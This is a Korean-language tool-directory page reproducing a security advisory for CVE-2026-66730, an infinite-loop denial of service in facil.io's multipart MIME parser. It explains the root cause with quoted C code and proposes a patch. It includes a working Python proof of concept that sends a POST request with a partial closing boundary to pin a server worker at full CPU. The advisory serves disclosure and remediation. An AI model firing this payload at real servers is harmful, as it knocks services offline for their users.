Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — 보안 권고: facil.io MIME 파서의 무한 루프 DoS (부분 경계) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
Vulnerability AnalysisCode AnalysisWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

보안 권고: facil.io MIME 파서의 무한 루프 DoS (부분 경계)

저장소 보기
31개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

보안 권고: facil.io MIME 파서의 무한 루프 DoS (부분 경계)

지정 CVE ID: CVE-2026-66730

제품: facil.io
영향받는 버전: facil.io >= 0.6.0 (모든 0.6.x, 모든 0.7.x, master); 0.6.0에서 MIME 파서와 함께 도입됨
구성 요소: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (도달할 수 없는 종료 조건을 가진 루프), CWE-400 (통제되지 않은 리소스 소비)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
연구자: Theodosis Paidakis


요약

본문이 부분적인 닫는 경계(예: --B--\r\n 대신 --B-)로 끝나는 multipart/form-data 요청은 http_parse_body()가 100% CPU에서 무한 루프에 빠지게 만든다. MIME 파서는 부분 경계에서 멈출 때 소비된 바이트로 0을 반환하지만, 호출 루프는 !done && !error만 확인한다. 두 플래그 모두 설정되지 않으므로 동일한 데이터로 파서를 무한히 다시 호출한다. 서버는 충돌하지 않으므로 워커가 다시 생성되지 않는다. 인증되지 않은 POST 요청 하나가 워커 하나를 영구적으로 멈추게 한다.

이 문제는 JSON 파서()의 무한 루프인 CVE-2026-41146과 무관하다. 이 버그는 MIME/multipart 파서에 있다.

fio_json_parser.h

근본 원인

1부: 호출부에 진행 가드 없음

lib/facil/http/http.c, 1963-1967행

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

http_mime_parse가 0을 반환하면서 done도 error도 설정하지 않으면 p.pos는 고정된 상태로 유지되고, fiobj_data_pread는 동일한 버퍼를 반환하며, 루프는 탈출구가 없어진다.

2부: http_mime_parse가 0을 반환하는 경우

lib/facil/http/parsers/http_mime_parser.h, 314-329행 및 consume_partial 분기

파서는 값 섹션에서 완전한 경계를 찾기 위해 스캔한다. 본문이 \n--B-(전체 닫는 경계 \n--B--\r\n보다 4바이트 짧음)로 끝나면, 스캔은 \n 뒤에 경계의 시작처럼 보이지만 완전한 경계인지 확인할 수 없는 지점을 찾는다:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

다음 호출에서는 in_obj가 이미 설정되어 있다. consume_partial 분기는 --B- 앞의 동일한 \n을 찾은 다음, 소비되지 않은 데이터 앞으로 반환 포인터를 되돌린다:

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos는 시작했던 위치와 같거나 그보다 앞에서 끝난다. 함수는 0을 반환한다. 호출부로 돌아가면 cons = 0이므로 p.pos는 이동하지 않으며, 이 순환이 반복된다.


개념 증명

서버를 시작한 다음 다음을 실행하라:

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

관찰 결과: 서버 프로세스가 99.7~100% CPU를 사용한다. 복구하려면 kill -9가 필요하다.


영향

멈춘 워커는 절대 종료되지 않으므로 재생성이 발생하지 않는다. 워커 수와 동일한 충분한 요청을 보내면 서버는 수동으로 다시 시작할 때까지 모든 클라이언트에 대한 서비스를 영구적으로 중단한다. 인증, 특수 헤더, 사전 상태가 필요 없다.


수정

http_parse_body의 루프에 진행 상황 가드를 추가하라:

lib/facil/http/http.c, 1963-1967행

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
도구 다운로드